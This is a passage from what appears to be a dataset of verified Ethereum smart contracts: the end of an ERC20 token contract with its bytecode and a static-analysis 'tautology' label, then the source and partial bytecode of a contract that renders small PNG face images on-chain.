avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { // Check for overflows require(allowances[msg.sender][_spender].add(_addedValue) > allowances[msg.sender][_spender]); allowances[msg.sender][_spender] =allowances[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowances[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowances[msg.sender][_spender] = 0; } else { allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } } contract STBToken is TokenERC20 { function STBToken() TokenERC20(970000000, "STBToken", "STB", 18) public { } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b7578063204009d2146101de57806323b872dd1461026c578063313ce5671461029657806342966c68146102c157806366188463146102d957806370a08231146102fd57806379cc67901461031e5780638da5cb5b1461034257806395d89b4114610373578063a9059cbb14610388578063cae9ca51146103ac578063d73dd62314610415578063dd62ed3e14610439578063f2fde38b14610460575b600080fd5b34801561010157600080fd5b5061010a610483565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561050e565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc6105b0565b60408051918252519081900360200190f35b3480156101ea57600080fd5b50604080516020600480358082013583810280860185019096528085526101a395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105b69650505050505050565b34801561027857600080fd5b506101a3600160a060020a03600435811690602435166044356107af565b3480156102a257600080fd5b506102ab610905565b6040805160ff9092168252519081900360200190f35b3480156102cd57600080fd5b506101a360043561090e565b3480156102e557600080fd5b506101a3600160a060020a03600435166024356109af565b34801561030957600080fd5b506101cc600160a060020a0360043516610a9f565b34801561032a57600080fd5b506101a3600160a060020a0360043516602435610aba565b34801561034e57600080fd5b50610357610bf8565b60408051600160a060020a039092168252519081900360200190f35b34801561037f57600080fd5b5061010a610c07565b34801561039457600080fd5b506101a3600160a060020a0360043516602435610c62565b3480156103b857600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101a3948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610c769650505050505050565b34801561042157600080fd5b506101a3600160a060020a0360043516602435610d97565b34801561044557600080fd5b506101cc600160a060020a0360043581169060243516610e68565b34801561046c57600080fd5b50610481600160a060020a0360043516610e93565b005b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105065780601f106104db57610100808354040283529160200191610506565b820191906000526020600020905b8154815290600101906020018083116104e957829003601f168201915b505050505081565b600081158061053e5750336000908152600660209081526040808320600160a060020a0387168452909152902054155b151561054957600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b6000805b83518110156107a55783516000908590839081106105d457fe5b60209081029091010151600160a060020a031614156105f257600080fd5b33600090815260056020526040902054835184908390811061061057fe5b60209081029091010151111561062557600080fd5b6000838281518110151561063557fe5b602090810290910101511161064957600080fd5b610682838281518110151561065a57fe5b602090810290910181015133600090815260059092526040909120549063ffffffff610f2816565b3360009081526005602052604090205582516106ef908490839081106106a457fe5b906020019060200201516005600087858151811015156106c057fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610f3a16565b60056000868481518110151561070157fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055835184908290811061073257fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858481518110151561077e57fe5b906020019060200201516040518082815260200191505060405180910390a36001016105ba565b5060019392505050565b6000600160a060020a03831615156107c657600080fd5b600160a060020a0384166000908152600560205260409020548211156107eb57600080fd5b600082116107f857600080fd5b600160a060020a038416600090815260056020526040902054610821908363ffffffff610f2816565b600160a060020a038086166000908152600560205260408082209390935590851681522054610856908363ffffffff610f3a16565b600160a060020a03808516600090815260056020908152604080832094909455918716815260068252828120338252909152205461089a908363ffffffff610f2816565b600160a060020a03808616600081815260066020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60045460ff1681565b3360009081526005602052604081205482111561092a57600080fd5b3360009081526005602052604090205461094a908363ffffffff610f2816565b336000908152600560205260408120919091555461096e908363ffffffff610f2816565b60005560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b336000908152600660209081526040808320600160a060020a038616845290915281205480831115610a0457336000908152600660209081526040808320600160a060020a0388168452909152812055610a39565b610a14818463ffffffff610f2816565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526005602052604090205490565b600160a060020a038216600090815260056020526040812054821115610adf57600080fd5b600160a060020a0383166000908152600660209081526040808320338452909152902054821115610b0f57600080fd5b600160a060020a038316600090815260056020526040902054610b38908363ffffffff610f2816565b600160a060020a0384166000908152600560209081526040808320939093556006815282822033835290522054610b75908363ffffffff610f2816565b600160a060020a038416600090815260066020908152604080832033845290915281209190915554610bad908363ffffffff610f2816565b600055604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b600154600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105065780601f106104db57610100808354040283529160200191610506565b6000610c6f338484610f49565b9392505050565b600080610c83858561050e565b15610d8a57506040517f8f4ffcb100000000000000000000000000000000000000000000000000000000815233600482018181526024830186905230604484018190526080606485019081528651608486015286518995600160a060020a03871695638f4ffcb19590948b9490938b9360a40190602085019080838360005b83811015610d1a578181015183820152602001610d02565b50505050905090810190601f168015610d475780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d6957600080fd5b505af1158015610d7d573d6000803e3d6000fd5b5050505060019150610d8f565b600091505b509392505050565b336000908152600660209081526040808320600160a060020a0386168452909152812054610dc58184610f3a565b11610dcf57600080fd5b336000908152600660209081526040808320600160a060020a0387168452909152902054610e03908363ffffffff610f3a16565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600154600160a060020a03163314610eaa57600080fd5b600160a060020a0381161515610ebf57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610f3457fe5b50900390565b600082820183811015610c6f57fe5b600080600160a060020a0384161515610f6157600080fd5b600160a060020a038516600090815260056020526040902054831115610f8657600080fd5b600160a060020a03841660009081526005602052604090205483810111610fac57600080fd5b6000831015610fba57600080fd5b600160a060020a03808516600090815260056020526040808220549288168252902054610fec9163ffffffff610f3a16565b600160a060020a038616600090815260056020526040902054909150611018908463ffffffff610f2816565b600160a060020a03808716600090815260056020526040808220939093559086168152205461104d908463ffffffff610f3a16565b600160a060020a0380861660008181526005602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600160a060020a038085166000908152600560205260408082205492881682529020540181146110d057fe5b5060019493505050505600a165627a7a72305820ce22250c16a56ebcf7089ae67fe973c106d21dee34afeff14dcfb2176b3990cc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,235
0x66d99d16f510e54c56052af23b7814aa39f40fb7
/** *Submitted for verification at Etherscan.io on 2021-09-04 */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.4; library Crc32 { bytes constant private TABLE = hex"0000000077073096ee0e612c990951ba076dc419706af48fe963a5359e6495a30edb883279dcb8a4e0d5e91e97d2d98809b64c2b7eb17cbde7b82d0790bf1d911db710646ab020f2f3b9714884be41de1adad47d6ddde4ebf4d4b55183d385c7136c9856646ba8c0fd62f97a8a65c9ec14015c4f63066cd9fa0f3d638d080df53b6e20c84c69105ed56041e4a26771723c03e4d14b04d447d20d85fda50ab56b35b5a8fa42b2986cdbbbc9d6acbcf94032d86ce345df5c75dcd60dcfabd13d5926d930ac51de003ac8d75180bfd0611621b4f4b556b3c423cfba9599b8bda50f2802b89e5f058808c60cd9b2b10be9242f6f7c8758684c11c1611dabb6662d3d76dc419001db710698d220bcefd5102a71b1858906b6b51f9fbfe4a5e8b8d4337807c9a20f00f9349609a88ee10e98187f6a0dbb086d3d2d91646c97e6635c016b6b51f41c6c6162856530d8f262004e6c0695ed1b01a57b8208f4c1f50fc45765b0d9c612b7e9508bbeb8eafcb9887c62dd1ddf15da2d498cd37cf3fbd44c654db261583ab551cea3bc0074d4bb30e24adfa5413dd895d7a4d1c46dd3d6f4fb4369e96a346ed9fcad678846da60b8d044042d7333031de5aa0a4c5fdd0d7cc95005713c270241aabe0b1010c90c20865768b525206f85b3b966d409ce61e49f5edef90e29d9c998b0d09822c7d7a8b459b33d172eb40d81b7bd5c3bc0ba6cadedb883209abfb3b603b6e20c74b1d29aead547399dd277af04db261573dc1683e3630b1294643b840d6d6a3e7a6a5aa8e40ecf0b9309ff9d0a00ae277d079eb1f00f93448708a3d21e01f2686906c2fef762575d806567cb196c36716e6b06e7fed41b7689d32be010da7a5a67dd4accf9b9df6f8ebeeff917b7be4360b08ed5d6d6a3e8a1d1937e38d8c2c44fdff252d1bb67f1a6bc57673fb506dd48b2364bd80d2bdaaf0a1b4c36034af641047a60df60efc3a867df55316e8eef4669be79cb61b38cbc66831a256fd2a05268e236cc0c7795bb0b4703220216b95505262fc5ba3bbeb2bd0b282bb45a925cb36a04c2d7ffa7b5d0cf312cd99e8b5bdeae1d9b64c2b0ec63f226756aa39c026d930a9c0906a9eb0e363f720767850500571395bf4a82e2b87a147bb12bae0cb61b3892d28e9be5d5be0d7cdcefb70bdbdf2186d3d2d4f1d4e24268ddb3f81fda836e81be16cdf6b9265b6fb077e118b7477788085ae6ff0f6a7066063bca11010b5c8f659efff862ae69616bffd3166ccf45a00ae278d70dd2ee4e0483543903b3c2a7672661d06016f74969474d3e6e77dbaed16a4ad9d65adc40df0b6637d83bf0a9bcae53debb9ec547b2cf7f30b5ffe9bdbdf21ccabac28a53b3933024b4a3a6bad03605cdd7069354de572923d967bfb3667a2ec4614ab85d681b022a6f2b94b40bbe37c30c8ea15a05df1b2d02ef8d"; function table(uint index) private pure returns (uint32) { unchecked { index *= 4; uint32 result = uint32(uint8(TABLE[index ])) << 24; result |= uint32(uint8(TABLE[index + 1])) << 16; result |= uint32(uint8(TABLE[index + 2])) << 8; result |= uint32(uint8(TABLE[index + 3])); return result; } } function crc32(bytes memory self, uint offset, uint end) internal pure { unchecked { uint32 crc = ~uint32(0); for (uint ii = offset; ii < end; ii++) { crc = (crc >> 8) ^ table((crc & 0xff) ^ uint8(self[ii])); } crc = ~crc; self[end ] = bytes1(uint8(crc >> 24)); self[end + 1] = bytes1(uint8(crc >> 16)); self[end + 2] = bytes1(uint8(crc >> 8)); self[end + 3] = bytes1(uint8(crc)); } } } library Adler32 { uint32 constant private MOD = 65521; function adler32(bytes memory self, uint offset, uint end) internal pure { unchecked { uint32 a = 1; uint32 b = 0; // Process each byte of the data in order for (uint ii = offset; ii < end; ii++) { a = (a + uint32(uint8(self[ii]))) % MOD; b = (b + a) % MOD; } uint32 adler = (b << 16) | a; self[end ] = bytes1(uint8(adler >> 24)); self[end + 1] = bytes1(uint8(adler >> 16)); self[end + 2] = bytes1(uint8(adler >> 8)); self[end + 3] = bytes1(uint8(adler)); } } } contract Render { using Crc32 for bytes; using Adler32 for bytes; uint constant private WIDTH_BYTES = 6; uint constant private WIDTH_PIXELS = WIDTH_BYTES * 8; uint constant private LINES = WIDTH_PIXELS; uint constant private SPRITES_PER_IMAGE = 3; uint constant private SPRITE_LINE_BYTES = WIDTH_BYTES / SPRITES_PER_IMAGE; uint constant private SPRITE_BYTES = LINES * SPRITE_LINE_BYTES; uint constant private SPRITE_LINE_MASK = 0xFFFF; uint8 constant public EYES = 7; bytes constant private EYES_X = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"700e" hex"381c" hex"1818" hex"0c30" hex"0e70" hex"07e0" hex"03c0" hex"03c0" hex"0660" hex"0e70" hex"1c30" hex"1818" hex"381c" hex"700e" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private EYES_CARET = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0180" hex"03c0" hex"07e0" hex"0e70" hex"1c38" hex"381c" hex"700e" hex"6006" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private EYES_O = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"07e0" hex"0ff0" hex"1c38" hex"1818" hex"300c" hex"300c" hex"300c" hex"300c" hex"300c" hex"300c" hex"1818" hex"1c38" hex"0ff0" hex"07e0" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private EYES_0 = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"03c0" hex"0ff0" hex"1c38" hex"1818" hex"1818" hex"300c" hex"300c" hex"300c" hex"300c" hex"300c" hex"300c" hex"300c" hex"300c" hex"1818" hex"1818" hex"1c38" hex"0ff0" hex"03c0" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private EYES_GT = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"3800" hex"3f00" hex"07c0" hex"01f8" hex"003c" hex"01f8" hex"07c0" hex"3f00" hex"3800" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private EYES_LT = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"001c" hex"00fc" hex"03e0" hex"1f80" hex"3c00" hex"1f80" hex"03e0" hex"00fc" hex"001c" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private EYES_CRY = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0004" hex"0004" hex"0002" hex"0002" hex"0002" hex"0006" hex"3ffe" hex"7ffc" hex"0630" hex"1818" hex"108c" hex"31c6" hex"21c6" hex"6086" hex"6006" hex"6006" hex"310e" hex"3ffc" hex"1e78" hex"0000" hex"0100" hex"0180" hex"0380" hex"0380" hex"0100" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; uint8 constant public NOSES = 3; bytes constant private NOSES_UNDERSCORE = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"7ffe" hex"7ffe" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private NOSES_PERIOD = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0180" hex"03c0" hex"0180" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private NOSES_CAT = hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"1818" hex"1818" hex"3818" hex"300c" hex"300c" hex"318c" hex"318c" hex"318c" hex"318c" hex"318c" hex"318c" hex"3bd8" hex"1e78" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000" hex"0000"; bytes constant private HEADER = hex"89504e470d0a1a0a" // PNG Signature hex"0000000d49484452000000300000003001030000006dcc6bc4" // IHDR Chunk hex"00000006504c5445"; // PLTE Chunk (Partial) bytes constant private IDAT_PREFIX = hex"0000015b" // Chunk Length hex"49444154" // "IDAT" hex"7801015001affe"; // zlib header bytes constant private TRAILER = hex"0000000049454e44ae426082"; // IEND Chunk function eye(uint8 index) private pure returns (bytes memory) { require(index < EYES, "eye out of range"); if (0 == index) { return EYES_0; } else if (1 == index) { return EYES_CARET; } else if (2 == index) { return EYES_O; } else if (3 == index) { return EYES_X; } else if (4 == index) { return EYES_GT; } else if (5 == index) { return EYES_LT; } else if (6 == index) { return EYES_CRY; } else { assert(true); return new bytes(0); // Unreachable? } } function eyeName(uint8 index) public pure returns (string memory) { require(index < EYES, "eye out of range"); if (0 == index) { return "0"; } else if (1 == index) { return "^"; } else if (2 == index) { return "o"; } else if (3 == index) { return "x"; } else if (4 == index) { return ">"; } else if (5 == index) { return "<"; } else if (6 == index) { return "\u0ca5"; } else { assert(true); return new string(0); // Unreachable? } } function nose(uint8 index) private pure returns (bytes memory) { require(index < NOSES, "nose out of range"); if (0 == index) { return NOSES_UNDERSCORE; } else if (1 == index) { return NOSES_PERIOD; } else if (2 == index) { return NOSES_CAT; } else { assert(true); return new bytes(0); // Unreachable? } } function noseName(uint8 index) public pure returns (string memory) { require(index < NOSES, "nose out of range"); if (0 == index) { return "_"; } else if (1 == index) { return "."; } else if (2 == index) { return "\u03c9"; } else { assert(true); return new string(0); // Unreachable? } } function render(bytes memory output, uint offset, uint8 leftEyeIndex, uint8 noseIndex, uint8 rightEyeIndex) private pure { unchecked { bytes memory sprite; sprite = eye(leftEyeIndex); for (uint line = 0; line < LINES; line++) { uint inOffset = line * SPRITE_LINE_BYTES; uint outOffset = 1 + (line * (WIDTH_BYTES + 1)); for (uint column = 0; column < SPRITE_LINE_BYTES; column++) { output[offset + outOffset + column] = sprite[inOffset + column]; } } sprite = nose(noseIndex); for (uint line = 0; line < LINES; line++) { uint inOffset = line * SPRITE_LINE_BYTES; uint outOffset = 1 + SPRITE_LINE_BYTES + (line * (WIDTH_BYTES + 1)); for (uint column = 0; column < SPRITE_LINE_BYTES; column++) { output[offset + outOffset + column] = sprite[inOffset + column]; } } sprite = eye(rightEyeIndex); for (uint line = 0; line < LINES; line++) { uint inOffset = line * SPRITE_LINE_BYTES; uint outOffset = 1 + (2 * SPRITE_LINE_BYTES) + (line * (WIDTH_BYTES + 1)); for (uint column = 0; column < SPRITE_LINE_BYTES; column++) { output[offset + outOffset + column] = sprite[inOffset + column]; } } } } function png(bytes3 bg, bytes3 fg, uint8 leftEyeIndex, uint8 noseIndex, uint8 rightEyeIndex) external pure returns (bytes memory) { unchecked { uint length = HEADER.length + bg.length + fg.length + 4 // PLTE CRC32 + IDAT_PREFIX.length + LINES * (WIDTH_BYTES + 1) // Image Data + 4 // zlib adler32 + 4 // IDAT CRC32 + TRAILER.length; bytes memory output = new bytes(length); uint offset = 0; // Copy the static portion of the header. for (uint ii = 0; ii < HEADER.length; ii++) { output[offset++] = HEADER[ii]; } // Copy the background color. for (uint ii = 0; ii < bg.length; ii++) { output[offset++] = bg[ii]; } // Copy the foreground color. for (uint ii = 0; ii < fg.length; ii++) { output[offset++] = fg[ii]; } // Compute the palette's checksum. output.crc32(HEADER.length - 4, offset); offset += 4; uint idat_data_offset = offset + 4; // Copy the IDAT prefix. for (uint ii = 0; ii < IDAT_PREFIX.length; ii++) { output[offset++] = IDAT_PREFIX[ii]; } uint image_data_offset = offset; render(output, offset, leftEyeIndex, noseIndex, rightEyeIndex); offset += LINES * (WIDTH_BYTES + 1); output.adler32(image_data_offset, offset); offset += 4; output.crc32(idat_data_offset, offset); offset += 4; // Copy the trailer. for (uint ii = 0; ii < TRAILER.length; ii++) { output[offset++] = TRAILER[ii]; } return output; } } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063443335401461005c578063590fe77c1461007a5780635c5176ed146100aa578063a5b8ca5c146100da578063eae82e6d146100f8575b600080fd5b610064610128565b6040516100719190611767565b60405180910390f35b610094600480360381019061008f91906115ef565b61012d565b6040516100a19190611705565b60405180910390f35b6100c460048036038101906100bf9190611574565b6102b8565b6040516100d191906116e3565b60405180910390f35b6100e26107cb565b6040516100ef9190611767565b60405180910390f35b610112600480360381019061010d91906115ef565b6107d0565b60405161011f9190611705565b60405180910390f35b600381565b6060600360ff168260ff1610610178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016f90611727565b60405180910390fd5b8160ff16600014156101c1576040518060400160405280600181526020017f5f0000000000000000000000000000000000000000000000000000000000000081525090506102b3565b8160ff166001141561020a576040518060400160405280600181526020017f2e0000000000000000000000000000000000000000000000000000000000000081525090506102b3565b8160ff1660021415610253576040518060400160405280600281526020017fcf8900000000000000000000000000000000000000000000000000000000000081525090506102b3565b600161026257610261611826565b5b600067ffffffffffffffff81111561027d5761027c6118b3565b5b6040519080825280601f01601f1916602001820160405280156102af5781602001600182028036833780820191505090505b5090505b919050565b606060006040518060400160405280600c81526020017b49454e44ae42608200000000000000000000000000000000000000008152505160048060016006016008600602026040518060400160405280600f81526020017d015b494441547801015001affe0000000000000000000000000000000000815250516004600360ff16600360ff16604051806060016040528060298152602001611fb960299139510101010101010101905060008167ffffffffffffffff81111561037e5761037d6118b3565b5b6040519080825280601f01601f1916602001820160405280156103b05781602001600182028036833780820191505090505b5090506000805b604051806060016040528060298152602001611fb9602991395181101561046357604051806060016040528060298152602001611fb960299139818151811061040357610402611884565b5b602001015160f81c60f81b83838060010194508151811061042757610426611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506103b7565b5060005b600360ff168110156104df5789816003811061048657610485611884565b5b1a60f81b8383806001019450815181106104a3576104a2611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610467565b5060005b600360ff1681101561055b5788816003811061050257610501611884565b5b1a60f81b83838060010194508151811061051f5761051e611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506104e3565b5061058d6004604051806060016040528060298152602001611fb96029913951038284610a7f9092919063ffffffff16565b600481019050600060048201905060005b6040518060400160405280600f81526020017d015b494441547801015001affe000000000000000000000000000000000081525051811015610680576040518060400160405280600f81526020017d015b494441547801015001affe000000000000000000000000000000000081525081815181106106205761061f611884565b5b602001015160f81c60f81b84848060010195508151811061064457610643611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808060010191505061059e565b50600082905061069384848b8b8b610c2f565b6001600601600860060202830192506106b7818486610f0a9092919063ffffffff16565b6004830192506106d2828486610a7f9092919063ffffffff16565b60048301925060005b6040518060400160405280600c81526020017b49454e44ae4260820000000000000000000000000000000000000000815250518110156107b9576040518060400160405280600c81526020017b49454e44ae4260820000000000000000000000000000000000000000815250818151811061075957610758611884565b5b602001015160f81c60f81b85858060010196508151811061077d5761077c611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506106db565b50839550505050505095945050505050565b600781565b6060600760ff168260ff161061081b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081290611747565b60405180910390fd5b8160ff1660001415610864576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050610a7a565b8160ff16600114156108ad576040518060400160405280600181526020017f5e000000000000000000000000000000000000000000000000000000000000008152509050610a7a565b8160ff16600214156108f6576040518060400160405280600181526020017f6f000000000000000000000000000000000000000000000000000000000000008152509050610a7a565b8160ff166003141561093f576040518060400160405280600181526020017f78000000000000000000000000000000000000000000000000000000000000008152509050610a7a565b8160ff1660041415610988576040518060400160405280600181526020017f3e000000000000000000000000000000000000000000000000000000000000008152509050610a7a565b8160ff16600514156109d1576040518060400160405280600181526020017f3c000000000000000000000000000000000000000000000000000000000000008152509050610a7a565b8160ff1660061415610a1a576040518060400160405280600381526020017fe0b2a500000000000000000000000000000000000000000000000000000000008152509050610a7a565b6001610a2957610a28611826565b5b600067ffffffffffffffff811115610a4457610a436118b3565b5b6040519080825280601f01601f191660200182016040528015610a765781602001600182028036833780820191505090505b5090505b919050565b60008019905060008390505b82811015610ae557610aca858281518110610aa957610aa8611884565b5b602001015160f81c60f81b60f81c60ff1660ff84161863ffffffff166110ee565b60088363ffffffff16901c1891508080600101915050610a8b565b508019905060188163ffffffff16901c60f81b848381518110610b0b57610b0a611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060108163ffffffff16901c60f81b846001840181518110610b5e57610b5d611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060088163ffffffff16901c60f81b846002840181518110610bb157610bb0611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508060f81b846003840181518110610bfa57610bf9611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050505050565b6060610c3a84611232565b905060005b6008600602811015610d125760006003600681610c5f57610c5e611855565b5b0482029050600060016006018302600101905060005b6003600681610c8757610c86611855565b5b04811015610d02578481840181518110610ca457610ca3611884565b5b602001015160f81c60f81b8a82848c010181518110610cc657610cc5611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610c75565b5050508080600101915050610c3f565b50610d1c83611416565b905060005b6008600602811015610e085760006003600681610d4157610d40611855565b5b04820290506000600160060183026003600681610d6157610d60611855565b5b0460010101905060005b6003600681610d7d57610d7c611855565b5b04811015610df8578481840181518110610d9a57610d99611884565b5b602001015160f81c60f81b8a82848c010181518110610dbc57610dbb611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610d6b565b5050508080600101915050610d21565b50610e1282611232565b905060005b6008600602811015610f015760006003600681610e3757610e36611855565b5b04820290506000600160060183026003600681610e5757610e56611855565b5b0460020260010101905060005b6003600681610e7657610e75611855565b5b04811015610ef1578481840181518110610e9357610e92611884565b5b602001015160f81c60f81b8a82848c010181518110610eb557610eb4611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610e64565b5050508080600101915050610e17565b50505050505050565b6000600190506000808490505b83811015610f955761fff163ffffffff16868281518110610f3b57610f3a611884565b5b602001015160f81c60f81b60f81c60ff16840163ffffffff1681610f6257610f61611855565b5b06925061fff163ffffffff1683830163ffffffff1681610f8557610f84611855565b5b0691508080600101915050610f17565b5060008260108363ffffffff16